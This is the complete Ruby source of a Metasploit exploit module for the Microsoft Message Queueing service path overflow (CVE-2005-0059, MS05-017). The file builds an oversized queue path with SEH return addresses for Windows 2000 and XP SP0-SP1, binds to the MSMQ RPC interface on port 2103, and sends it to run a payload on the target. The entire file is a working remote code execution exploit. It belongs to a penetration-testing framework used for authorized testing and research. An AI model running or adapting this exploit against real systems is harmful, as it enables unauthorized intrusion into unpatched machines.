metasploit-framework/modules/exploits/windows/dcerpc/ms05_017_msmq.rb

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Message Queueing Service Path Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the RPC interface
to the Microsoft Message Queueing service. The offset to the
return address changes based on the length of the system
hostname, so this must be provided via the 'HNAME' option.
Much thanks to snort.org and Jean-Baptiste Marchand's
excellent MSRPC website.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-0059'],
[ 'OSVDB', '15458'],
[ 'MSB', 'MS05-017'],
[ 'BID', '13112'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
'StackAdjustment' => -3500,
},
'Platform' => %w{ win },
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'Targets' =>
[
[
'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
{
'Platform' => 'win',
'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
},
],
],
'DisclosureDate' => 'Apr 12 2005',
'DefaultTarget' => 0))
# Change the default port values to point at MSMQ
register_options(
[
Opt::RPORT(2103),
OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]),
], self.class)
end
def autofilter
# Common vulnerability scanning tools report port 445/139
# due to how they test for the vulnerability. Remap this
# back to 2103 for automated exploitation
rport = datastore['RPORT'].to_i
if ( rport == 445 or rport == 139 )
datastore['RPORT'] = 2103
end
# The NetBIOS hostname is required to exploit this bug reliably.
if (not datastore['HNAME'])
# XXX automatically determine the hostname
return false
end
true
end
def exploit
# MSMQ supports three forms of queue names, the two we can use are
# the IP address and the hostname. If we use the IP address via the
# TCP: format, the offset to the SEH frame will change depending on
# the length of the real hostname. For this reason, we force the user
# to supply us with the actual hostname.
# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName
queue_name = "OS:#{datastore['HNAME']}";
queue_hlen = datastore['HNAME'].length * 2
queue_path = unicode(queue_name + "\\PRIVATE$\\")
buf = rand_text_english(4000, payload_badchars)
# Windows 2000 SEH offset goes first
buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')
buf[372 - queue_hlen - 4, 2] = "\xeb\x22"
# Windows XP SEH offset goes second
seh = generate_seh_payload(target['Rets'][1])
buf[400 - queue_hlen - 4, seh.length] = seh
# Append the path to the location and null terminate it
queue_path << buf << "\x00\x00"
# Get the unicode length of this string
queue_plen = queue_path.length / 2
connect
print_status("Trying target #{target.name}...")
handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
stubdata =
NDR.long(1) +
NDR.long(1) +
NDR.long(1) +
NDR.long(3) +
NDR.long(3) +
NDR.long(2) +
NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)
print_status('Sending exploit ...')
response = dcerpc.call(9, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
case dcerpc.last_response.stub_data
when "\x20\x00\x0e\xc0"
print_status("The server rejected our request, the HNAME parameter could be incorrect")
when "\x1e\x00\x0e\xc0"
print_status("The server does not appear to be exploitable")
else
print_status("An unknown response was received from the server:")
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
end
end
handler
disconnect
end
end